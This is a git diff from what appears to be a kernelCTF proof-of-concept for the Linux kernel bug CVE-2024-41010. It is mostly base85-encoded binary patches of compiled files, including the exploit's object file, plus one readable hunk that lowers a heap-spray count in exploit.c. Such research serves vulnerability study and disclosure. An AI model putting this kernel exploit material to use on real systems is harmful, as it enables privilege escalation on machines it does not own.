z^G}Du`Sxn&kHkHkPY1HRC@Z%%%~j@|Ok#j4(OH!UW)fKQ{m5`nj~;2oX2Szs7%$J- zVvuWa{bm2%hGwqVZ4s4Y$Y%@4Ck;NlT`P(^X=sKO&<{=;+M~Zdanex27Q9axt|Kp2 zoHpFX`26k}gA0x_TYAQ@!vQO6viHx1J3RNUY?o&+8_~Gk3Jn9z7_cTiGBoBf5`I{0 zuy;hiwu3V^Ht&1HTF-HIGNNU>e1$VE*P>y?2*&zsK}j$+WQU{)#v~s7fzey>TD*8Lx8yaVwp40P(P#?_hMYXHQ!VarnXo`4e{|j=v0+ zeVQ7Bus{?_?|2)Vu_ozl^yD(-a?yOr@E7V*DtWn6`m+9Ldn9qlhqs!;ClKnW*) ziKnq*d7GcHC0jPX7=WZrrY8aL6W^t_HnREd)Ye8k3Sk|yjj zVa~|6H$JJuEt5+I7>zt$(*A3ZF%?g7^TUjNwA=*w`ys|OY*E-;p@gnD5ylp;u#}0X zh}tS84-|_5_hmxc_jQ^e`z0AzF$i6eYOo-qhZ#L;=5DIMNz)IfTcDrIr13^-7~I=U z-w!i3^!Wg6aB}{(JROw&ow{^ggwsA3V>2Ay1mS(sX@dn%V3Ef6S+tS)3*5V+6qgiT&Z%@|#XaEp8wZXB*04%32iA70W zmG{RQxAJU!8)>YEWuI{)joYxIM%uB)3haD;Io3FbJ0hoyGfw2WzVht}#xUzr!$jj> z>;=yxV-K7YHfECX7#q7M8yny$z8gagY2;*MGxrKNt1scp;ETYLxvFjNrB+{#0cWxn~=#5f8>krALRT>o}dPdjY$A4}>w`b}H%@ zru-)tu#|<%K8uYb1vHQq%Z&b9j(mKXahQ%vlxwdxVqS*M;6r1)7W0+09~nOsu;$Wu zqcPEg*IcF5*~S)VpGUKey-~lpqi8ETsO3>(dtTp;CLA>msr6Oc3LNxPWU87aoWg1 zm7kw5exb!<#@^FLH`8vP3I#jxJ6X2VmD8wK@6(^Bkwv%Uj59`@HH(4vg7JMF-Uf8J zf@(5XK6u5LhSx=Mz*XY}9b3Kr**Jqk2Y=mog5!qESAQ`!vo5aYBlpLX^RGr6fJuXY zHFjpX{;M&c=W5G|w~P+aST&s8&g9O0ByVYFLJ{FC(LhrVo(=JxOi?IMd0J=F5sp3F zb~W`uj8nUs78z>J+>26Sf0^_SyTLqSJn8$G8XLN^;Mwn!D4>t23)T;l`k49}zuKe9 z?4#3tOr3FPNQkKs=JAa~O#YG!c%hhLxLfS@P+W+~Bl!MqwWnWn8ei)UZ<1pF0b8KB zf5f(~Vfg|4`>S3*%!INfBpEb(e*Gs-At=HeCB)PYJw;`RDV#lHhnm{fl?Fp8v)bwl zUZO73YGR8{)8RGXsvnx>;^Ug>L!#fo{0 zex@N<(@5=SiZy(+3)TxPE9j4Yrp3ItixT>q1{=Tn#7h1A6M8Yo)R^w|M}DFf3@}Cd zT>luXJJw0}54a6k^3Z;9Bcu{J8M0!ESICM!E@^?SrvC|}NX`J0CtGS5fU{sR(;tWs z2C;#rK^VFh4m6F!Xlxk>XZ)%2Ah?F3V+War*e}2n^ZnneGVMKjKFHLkQ40{Qkv+$t z^be8M$e=M{roQZbdzh&oX6DbsOdj~8-Ywj;ku5`on*xkWwyUK%Pc9BO;W<8rYDJiO z-~lf(!qn3K&n+zDUP#lgvRaW(>mp2J@T6T4Ve(>UDGxObhu8Cmni{+Ruo;qP1$Pt! zyHGk+i%T9LSujowHDR2h{Gq0292(j%RKF;4iZl)44V!3uq^TLE<*N|HBg3soINgi9 zqD;Lwh2DuWCF7~3Aj%ZMCSuX1g4&TASfxs15wRhe_250pJH`}g_h5awQgj>H!B!VB znT|nPw$Qa0Q@1*?V1=ITg&hDm$KaY(q}G=f z?>#M5t^@SXN|gqH%ee0h91fTQ7+nn}+U^zYMu5esOnGX9+tu!?Xbdx%>T=b2Rrja=QMaXPJh0B+ zkyI(XjhTV9j(lx7ZHnoR)^StaG9?Yb*DF(=13#tYWE6iAtx7h%mwLE+nX!LrJej9|WVRfE91SdvArS_{@o_`|3Eh z8odeZckZ5w@6&Np9sJ%3SMiua)qQpBQjLByxJ>EOtxS=-z6qWFfyQJ$O#KgxMb+r7 zaBttCO!*O6S{=0iKx6#!x8$mH?pLG#j{9@SjnqoqREII}s(QHUKJq`%`&FaY!#&gY zd<*8h6|UmH+ZE+s6{wCsucojA_Yuf}xVIqWt#B2;^M9b{RHGlp{T{&KZmI0&Z`fMx zzB)bqKhPIfqo?4$1kP%JtAphqXpDc8(OLOd7iRal)fCR)J`v?K{Vf>rR=A2E{vYT+ zSEHZD{c!-psqCi;4pzIbqA~pGf1q!wMqh<{Bf#k`c!dPLO=ICFD!s|SG4EDW$jANE zG2`e;vdM`uXPClLca1Mo7+g&#Qyu_1CL(VDNuX7Sr=a;xEK{<9GXbk{@AZEVssCu? zmq~9LUx0A-1eJCcm_bd@UfCSDY{NT%yZx8IY^UNp3@LriR95~5_+5JDk*#Ck5h7M%Q|14Ab0!P7KCmUw> z)u7MoK)^o>yyjO^QieeG6Bu^{?hk|fJ!&w|)PQel#h$4k)dgz~LinI*3F;BoHDl zFi|lMFaeMV74SpA_X6JlzGVz_z|R6d3;Yo94d7cwA)0tZ1AYqlDd4AoZvg)s+}H#D zQt%VTpb!Ef5D0-l2%L)r0|HSH2!wza3{)^D;A91yTnc_5_y+JTa3T**>;Zod_5jDa2Com~LLuK5GW}p@02~+y`-70Ea6~*94iAByp{a;$7?dLsK@^mFf(YfP5YS+t z0tQ0*!zc_`U?4CIMqwZi2D~C*bSR8M-vzn}(G|+|bm$UfH-HB)05-0NEFfzgYytAt zLKaZ*5p1R6#|5xw4U7XW!$4OUxD3USfJacA53mDlhjL56w@@Ak_zimR0R9EN)qncGHfP;LkK9?HW2_nfk81M&lmjWuFw-n$4*aO`_z&Yqf0W8o<0T=)q-J$FS$bxbRAP>qZ??YiV zXsf^@k8LK;RF|c&_W|sJ^$wsm*z3U70T!cH zKrxh)0L4&F0u;kQ5}*LOVSpUyh5^c;I|FbJy5j-&pgSIL54z(4_n-1ds(?FTh6VdI8QsHw2Ic-9SJVbOQld&Mv@{Op0U3t%afT@t~Z z2<9ZB@dJb-2AaFh~42UuuISxkvdyat)IQI>51YkLe2ml7a#%!b(kd=kh0`j1j z0QlF}sL0U$7xY#G8UVh4Zdbr%=#2zCg5G?9T{a@z4&|1BZ=sC;T2M-0U@Q!jKyfjk zHeeT&+W^i$IRbD8%F_Tkz&hwQ0UU;IPrzT$kAePQ(3=e~0X9RoIp8RC`vQK2-bBFj zR46V7)CKH=az{V`41~cz0Thz}8bCUf-2s_U4g%ytISx<^y)=LWAOpI7fa}oj4gKrT z8xJUh-ur+$fX|@Y4)8s6hXGRWL2(8^1Z;qEGr&a{=nMlFp*$S$0E%+~5@0KoeE`Rx z+#hfgdXoV!p|=v?1~>)%0O+5B?qI+l(3=Y20UtrP5#TH6cF(RDtz3ihXuwk_E(FvB zWWj(J3}it$1ds>C1V9B8mjYY>dte|Ca1Odr01Na|00zLG{g6Kl+9B}B<74!5Az#4U z0hk4B2fHWOXTWX)IQ$hb;P63Uz~M|_z~L`}0f(X61h5XeI>0*UcZB{?=r#xJgKl%c zKIk?F?1OG|z&_|U2kiR-^}H?&EQj)QC@%;2!9XUI-2oX;b_ZlY*&UDpWp_XZl-&Ut z&~*T$LBANfX@F+X{|vfy02`oN2e1LUbpRWnTL-WKx^(~>zF-Xt24=v(Jt)rrxWT|y zC`*8qP?i8Ip)3JbLRkW=gt7!!3Eh{_oea1M-N}HO(EkX!JYXSodB8&G@_>cV=Up695+ICIBqZO-;a09+X1>Sx|QQ5Y;Cg_iKRH0Od{12_ZtW8hDKKSjjQ&w_s7N5If$<8T)A12+OgKX3~$^aHm8@2Id-0(asD1_E~h zlhY@rPN`|9(6G;-c)v$gIENwZ0vh&3H2ljb=3F%VA5rW-qYC_j>XMI!e*+!EEj0Y! z!8-}vJAiut3*axn1HdCdG2khn1W*R306Yi01pEu2sZ<p({*HtPpZ(V8bko5qsG31+6DmhJ| z<5{W1c|p&+Qqi=4u1}?s;S2jM5kZh2BJr zY>QpcNvh?vwe*>SQS7${GT_o?$k|!5T;XtkvDxN9rm~<~Y zha@|L^(1c}yvtrfYdTA{d_M#`n6X3b{8DUe_P5?ypyTs$>xHvRHIqR*MpvPN7j$b!g4foiM?)l!)DWpgR+={4tnXu&wpFWj=Ixel)ef*r->MzV?t-nf_?yR)#RdR#0Lthj5b+08yu{*29S?sPq zvl#wbQ0r%A_f{{H?KW=J_Oi>^s*Pg~kbhUHA-14|ca@y6kvg%f)EL_vRx$Ji9R!c( zpVPIjQh*@6c%~f1CQGRiwdf`_#jc0&Zc;zI3f%@I_$kknS;X~{no+GF$wM5WDN%|z zYnD-LkmM^oGBPTS_24LZt28rQRF5OFF)n-g+-Qz}E!r zD7-tQ`qMUs@bw*#_-Tz21kYrkZVzgv{t@!j2m9*{|+OF+UE`x0d|?d&dj z(%kNn8^!gMbi!SS66H2M?2eSI=!ulfrGq`8GMiojIgPAcqOd;?U>Do$T7ke28qo_Z zN2d~{p_QT0cmYS@1ZOuo-b-rX-5M12nj=RpFze78F zOO5MW!0yhNXd`pc2-xKVmfy__>3vWkLTFPT zsSm!$D(oY5!m%jzL!?3212Bc5pXhjq)EXZqJqdw&7&(T5m`m}Y(kOhwc`{V;Otf@+ zGkqIzhGWTFwEduIg5H$N0Zjreg1L)}CH5!KqCmrejIXai+&ut2j>7v&W3aRLNMET1 zQc~C#>B=C-en4Rq+)w%vUl~5>C+&6$ocMR{vU~_}L_b3Z`a`fb-Rh4zkwV@Bqz{mg zg9FgxWYUuXNLCyL50oOY8GF+}X#zsrAmq_lsy_${6_hv#A{CT92w9a&T$tqS>axB> zK^DKh+;Ddh$#5Y5Fqn0qPO+>QtSG| zca$jZjE`arwlfU1L(K?6urq2(9PJF3df-FVyO2b?b{&kwETz!FD3x=RI2bw7nbr>m zZzG)t(aG>hiGl+ktXCWSZbY?=pjU&X_P+Z+g(o%^%k(>7?fI-k*{(`kf31}gbU%t8 zf?m7x?!R-CHJ&EuTSI8s5UHQ*vCm5sR=VtB=~@g{7HFRIWUbVM93xQQHd2QOI2uUN z5%6#qt%^We-05lr5|K&VPsIN!Y&77YLHe;oSw|k(k_$cp zl3EMHe=5QH%%wAMY*MV$1u5Gbi@{{&FVu3lvN(hMM@y~6;iV;t%u~xk$(0t3mi#fH zxH?*@Wn?Luj03R>Sg;;G9eOw#vF#!6F%q`LRMPA*Qdc45d5IFEMwdHAVt<%dGzM+h zhuV%sCC#AtvCvse+r~8YV#a9QN&_2a0kiRZLc6syQ#zy$D*x zB$iV41ZfPft4R$Kq-Ge9dnHKSg#J#YN(qH;LEdjoK;Aph$pq`@QN$32ltc`9KF+1e z0-IIl_)orY9yI);ne}2c3ur%qmQaoM5;XKKFyZvT1-pK1ELKgMw1f&ROGGyo=vw-^ zO0q170;>%jPqg}6l!z9ZOCA%YTEYVeP9ScJRG+$rNO~GEQS#(b>E53x4Ro5^p!9Vg z6$C4bF{CF@(L`iXPx76Fao*s8%|_s`i+OB7zPACbs(WWNH_-fO!6bM*9IVfnEG|~B zdV*C!dnZZt#LkUM6|&Bd+^9h>c=B)(#@KXnoQ%v`+4%1wU?zWp-cr!2S{3rU zdcIr1s>%n}d+Y-19BAlaUtcWNW1u7Fr%1I#wnF z#PKkyP+YuZBJmxmk<&SE?C`RgWAWz&u*Toz9kfdH@b6eF?ly+psqh{2OS@W>zMjl8 zr;fGOXfny;UCG(o0#+NFDdv|2tlB=M3M!ZNV&X4BLrsIYYYJHLjKTM}bBM4rFclx@ z=i)DVkuf*HW)88dKOh1u3uV8H?#M#MB&i3l!{_TsQg<}+HA#}Q5am~@JXE`joFsG? zE|i~yQ7ns$$x=60OS`|T9W!Zl293Oc;*;S_1=#%ZjG&Lm7n?|?bjbadP$G;cZv`*n1DIxK}y<#coz z=%{C?c4t6j4`t85yz&gyp9#Gz3Z031doj6GDIgEg+=PzLMEgaC&P3myMqCPffMY3A zdncD^rAnqPbz#6RT{N1*G%p1ckPNz-f_US|aTX>ZAv9|iqPRo17{WYrHbfrKdWJSq z(QFVG(||crzdCslK9G5d7#?(id}3=L+b_9I3I;c~z;>N}UvSnk#t=ZXcE^ zKeM?>ElOG?3AA7?=2-jb$Xr+r!ATwHsuANnRJg3QrOGU;Y4wNIN2$9;<4(zpy>#8* z&5{YA@@qPSolZOFN$rJ=U{9r!y%10FJUo#VkmG!41+Fhu)-Z9~#oEnHXys7wd})xN z*<7j&U{k?HB+r+ET`gPRjD-2HzXzN1IHtl{%C=HPw9QSKLB_rbb`k|McGQl4XG>T@ z2%}`i&dMlN`Y<)y#k4zvT}(T{MjOsfg-c$amMX`{V<($crb*GR3A?dTv`Pios@02C zzny6?>b0j-31u|f#cn5q9Y*eO4kD$!Ma3RsMN5p2{! z#&!|Pl>Dj|Vq?Dq8(jorSGZ!+6%V@YV%k2vS%TIuc1V3}F4I*pRpZ0K4x*EcozS#Q z*-_QeLy9%xl~(O13(&zl@GW~|;5iJI1vInGAQL|a+8xl&TBm!eiJPEhQ1C*jR_fNs zG9{&jD$m4q$bG}2H%+*JrUR||80W)E=`Fb+&|WSqQ?6r{!!Bko0}wVl+3siCXacjZdAYKdSu*%|CG+PMS| z8U5uWOQaiXjK%&z)|fNpP0r>M?X`XngX!^kQ+;jP{a|dAu8)3u(;#ynN6mv^t6bGj zlKfve7J^`=`@W%$34TMH(eTctW|RPBeYQE_qln|>9O z8V*WPar$f(JFHi6RV&M#r-tJesyHZB#W}XtlWW5nHf)otsmZhv{%&SgzmjZr(i1R_ z;mWnus<(^rZNCa^djFSxu|sYSCYuKtU&l+vspf{E|C9OjE^6idACj$F@Af+Pb3#?M z|DSWe?!V{0tu)dp^gVMQd_277J@X*mxRt)0X0AuC-ZQu0YEbetb7Sg1&D;djeBAfL zXK=@-nfvfpcG1A;=0@Z-9jx{=V7hq_y_{|ipv%+EE%AwW{0!*1&oBpZ#q53pp3i(| zg8gEK*&nYYaQ`l5{o7`O(}&_`nOl%wia7+|)LQSu7UDk}GE>Zf`0^G6Kf1NRY)786 z%pLHNDhTi4ufCb!hS}!M+-B-B+Z@R^KTO-1M_IGYe*EfVYCxJ}_TlS&s|JR%K+w0; zawdE`FvraPMXYd+c@PfX@SkfQf}_uXTGFApW`BO}dFndb>_v9-%+2^dKd?Y^ikoNl z;{7hG*7nbXwJ)!zftT~lewcsz&NuhtJ)Y2S^UZ_l;(W6M4zap5-#iAH5S(fr!fRg8 zqg3-SNIpz8M{3V$y3^xSb6c95W_HIi+qN`wKW$cx?zCe%qOP^T+!Wb%U;)yfxWL>4 zYwEb4sm0SS6YwVFQcrDqRVZhnIYj#{LdtY=AoW;e_U3YF$|CawZJ8?4p6nKzo8c7| z)MuL8(4@skr^Z3vzSz86@0wFzZN&GjO%VS~$>Et?qsPD=ywdEj{SNv^w4c8#sEWjqE!N2QRZ6=ZbCWvKH=q6M=Or1BGe{n4y z9%Pj}3tQ~+!Ss|lkV6YLo1I;g;)1MXJkeRNU>h54m$Ad*gRJC*Htm@{~O}PhksL4CGp{PZf?(Wi{(;!a=kK!me?jtL&<^g&%C}G&;%H88&v+T7s^Y8dVNG zVR2y9=`)}t3jYid=Tagc7!Ky?f5 zs;c!lRd+dF@v!(bf6^a&(ND$6j{8_yXOQdX&~l(qhSF)48rsWHG37H9N5=g~fu?qM ztEnYbQ)En`nZ*JM2b;%R%7y!3ID-x%i0m&^k>de`@Bq#b63b9J?PLh+5)5I+`2|pt z?Ei)Nu_r`5t|L)?)Zsd6Q#x(Bj_QKCd>t}a!uSQmWJ>-8BI&g37ZC9z%}@aq{bH5$ z&w~hxH_w_id-IrW$_HXDn)1yf!A#7DXdE5P2NQ=N2&@kRNcw(7I+!teak$` zHQhzc!vVIZlSNn?WESvB4QvQ=zd<;iTz|8seb#R-q)qpc>>Mh*kI2zc--l`%B|kv&3My39s+Xfz zu@-8pDPW^EWIsTgEZ(Ae8m}hHx-81_J&Cx7YWY57_1>FiKSa}9Lwi-~lZS{smo`1J zqTt6cm`l-*twpf&F_M9%`4|-=j^c~KL$6Q_Vi4^uhDZ=SDMsxKqwpsP!O9bB^3OBm zN0m>kddr?7R6yBJ%`^n?C_#Mglvsj>=|JA42<1?6DR?=wvlM=&Q8o+3Q4vGA=zpvKrs%5VUT~(KoXlDh>6gj)Xe3nB&EqKlnvXh=aM?Tgg?-yvy#g%Fi zRn=z8OgM~cl1V#XApTIg`hqDvp}sH8EnRart3`!n59{?Vs-Rj_YhEI%4BGn=2}-9Y zKy`~hR)w!{s_=s#we;b^;8!rFu^IbZWorT;u13A-6`~H3&%ZL`2y^U~Q4mZge+5-4 z?O&=IF9x*guY*aKS}F7>@Z4>QZ=91)?9Xu)o7Zdnq{sJ zw?i(iPqah-w0@IatAA^>JyE7Cj-d60cC5$s<{*l?#vznOI~nq$B1Zg-TzR`u;LXCJ zKCV^InclVpw(Y6fDW;P=baKe3g>Zj4QEL~;V@ds_U^f$!uMVOel3gq(>+LWxfv^Go zp?fnxrhh1Rg^z) zoJr?h?E3JU335$WyMY`m#@A)0JqL-QxK`q)I|vw zP_P@~>KhwmWn(C{UK59?aV1eQ*r>nD+)!iP7pq1l*jm>+ zCcIXw5C59d$@<9G+}Jl0^93fWtVo^kUv}11gg1Z=rYj9#2=fXxyJx@^$q2V-!Q~|AN3{^k!Xo65NEocJ2i)m96tD*Bv z>`vgQvt>;YR~lVy3Xxsp-wYXDwMb&JnVlW2nnkgJ&8Ba&o7sH}mpXXDQXD0E!bC0| z^h6a8B5yCN`DiaYbh?>z&CBi)3jCxu?5C4Qb7ntAb=%Ws|7vVi`oo)B{Vi+`6ByT9 zz~2Jdy9Js6uenPBK6Wj!NFDEE^?0uj%Yo-XRwH$6rVh&OJ(~#PqnlghLpIrLLvU%Mzx8N-g-GhO&#*rw1W3<_bmQ4_DDL} z3f^Z@xF5XFr3HShsB5TA^=D4Cm5&<6x*)dLf=P@@UPvgd{afF%!04uJQ00wcec;w6=P45K?u+Y>S~A zZBnzC6ugl_sAe1FZ7v13K@5Hr-3GB^;B13J%OwA{AfnrA3rh|(tF7H*6mw!bRL*pA zY!6--dACQmfmvoCM6$>~5PEU6CJ;Fg=Z+x*muwre=3>lZo}nMI%tT^rS0z?&Q%8 z#0*-{&6@g6-M~X$1c6sV!9fURP<9aNQq^+*R$Gq82dV{}Oa8%7&6PugS^w^bO|Q^R zlNWTiOJxVnaXn!_m*RUOTMMW|FP7JGVJ{||K}EgcZ5p<1vI;g_&A+PGIvG>c{98jO z``GPvO}D6B+5=nsuJ5Sq!L%R*)#mNyGtS0FhK3+!%x**BM;f{Ig#!h2vM)jfdZL%c23Wj)7<( z>%PaR4%;5>G-*?jVW=+YR5%bGUjcB8X!edO0huVF}YaUR*FuUu>C}SinWy&2Q zF#@7YqoW{nn|4OQVuqXAX;i)Ru6W(8UyXtis&X_8qg0~dDMn|894J59n%3|bYdM^c zfn*L<#@Ow~xJw_$!u?Dtie-_K>u_tn&l--BLsJ+53k8U9GS4_(u3lK{MZwO&t|7}{_Ktr=yl8y;~$8FVlXG2n?I9_1W# zH^?fB2UP3TW4>xSj*{b%1rC8~wcczi+4mUR+AZvaHtNjPcx&4IN3%I!e;Pd+15$?U KF~;u7(*FbbhR!_z diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c index 2cf8f5fd..47587814 100644 --- a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit.c @@ -30,7 +30,7 @@ #include "cls.h" #include "log.h" -#define SPRAY 512 +#define SPRAY 128 #define SKBUF_SPRAY 128 #define PIPE_SPRAY SKBUF_SPRAY + 32 diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/exploit.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/exploit.o index 08f4dbd53e22c6d61f1800f27f0ad5cbf0db69be..818096425151629196053eb7afe968467bd1d37a 100644 GIT binary patch delta 6082 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 Hzbf;;)wg&# delta 6392 zcmZ{o4_s7L7RTQmD20S^WaQ1`|KK2~YdU5Mntw*YW@yYt6HP6{e<@mqNvj{-ViZ0x zvD1pj&HhlknEheXHdeQkKq0lLmQA$HTusHc@=vLJvU1mS_MAKK;mJSO&%Ipk_jk@c z_uTvLd-(PN(Q-hn$r2THeU8RzqeCIL|2w6-qPSOgb12@N!zE{Npd|+E=FHeuMR7KL zSmv=l@H1s4ULf8y+Sm?Yu&eY^nWKELyU;+==M=M!R8VkA7-zTzRnCVI6=! z1Cb7QV2^X3J8%+edL$+mUBc|F-qY2c^JU3?cW{%#ihjMpjSlNgaG*y@4{y%bB}d)C z5ws%0+iIap+!*mC4>9)0nj{{*zEa*~ zt|-D(gw>_EfhC8XhxpWivTAD%xinX}Q0NZra^pruqVV8*3hJF9sg_}qC<)G4wYd1O z#YNm@-NFP(J;w_R6!q-W`{+fP{AKRoQpXgzZCCd8QDk1qX)SE;8AzomcG5WvE5b>Y z{mO=F%y(gYPvc-6fhx@^Jg_F-CTvg}pJB(0h0S=XNBozT`+>)QSuw%c`2MLWiV|un z>D-DRFA)FG;}4b6as3ps)nR6-S^9c-9PRw-xY4hoBRoRaUBwV&`rdX1i#{+H;earO zCg@^I6S1^{NcpSFwm6!WTk^SU2hw_5f756aoU|31N=@L^vNYUTV>#xENq7i5ml4!# z2}qqE)wig0V9y|t((o#GYLk+u{e0tSPs4zOp)||~ZBVw$;p9`ozD1p}_kbz~clYoN@LT?TuD-l!>8 zCdZ9+SFV#Pckp(U;ibHj?#ggZ{dn=917&o0h286$@E3338&~BW;j`hU$JGy8Q?o4i zxaR6tupB)B-=}8J`0G!YwaRcDv=+SEThQZJ^h5o<*x!qHlpAx_gnjq6p>g4VG;#t* z##AJURf|KeSr}0Qbu3+XL=02u@0vviYT~{o`?OBz0$C)>7_;wLHBMv2~CYqst=}( zMJM$)Q<&jh&_gws@0Vi@j^iZ2`}!Ke-*myHMu>Ez4c~#XuGh#)mePb8!JDpyQwXN- zfSHaYu>)4h_Ibz1C>f_*<}pWuT-eZL3`0Me^>m|RCUH-GcvJ3D6m(?lVpfg4JyDn} zN={ZSm@^&dV{qmG+Z7)>(kPn10lKVhwXh<#dNtdwzN7TLN&!!R7Z@DT~i$~k$NsU8rOyT zzRuBH8uidvK8@W=y)iUaK)t&<$E5ZAPTO(RlVf8#b(3Q&?$QTM>pGP)sV6-yr=FKQ z`luI#c*mhFFuJ>@ZM2Y zVKqF=BcfN+y(+$qoAXpL z8GK$)?Fnt@!9~w97V^IstKq*8#NDb^!e}w0W#B{_VDv>spNB%E zFEh&bs2-}2e#z(>W_tpfk)G8lt*aNKm!Jb_*Dg4Og<`J4YQ$^?`vg@>V{|Q}{lJHG zgigsb-BN~a9{7=Z8KukEpgyQW`XKYXjM0aneS#_$kw%n*$`N#1Vxh?UVl`r$3<5RNq;e5BvHv(UW4l^fZD3aP z@-VDkm-_8ezl-$Rex~Hl>=)4CQ=R8^N;zN2{6yjlj0#0{D^|mQ6tquN@ypaVQPukE z8nWe2++gsdCPykKLLDk+F>eEzH_R~76^uF=eHtv2RIQ59L5w~tZ8tE=ZJVU+!5h#E zl14|PJ1n%u+prpIv_RV=l|G5?RYf1!&ju&y*~T z{X7CSNdLfWhcVlA(1x^*(cz4412IJvpOXjiGdQQHnmGnB7MkT1tVZ^3g+ip`7+ucj z9H>INl2Lxy1fdz}+8fXpp#$j-M)~Ug1@@_`*3Kw@Xu3ch(joZ0NagCx+zo!D(-`GZ zEs?fsbV@mQVKvrU1MO2)@fNu5lP}@>RIQaM$1>$UsX0a7ga*Z^%rGOyLOye`8a};H zgWjgfwi?>7-$JbxL&p&d#m~=PFK|v%#b9c+1-gcO=3zB_u7EaPAO&&qo=@+wm&i3g^Wf+ 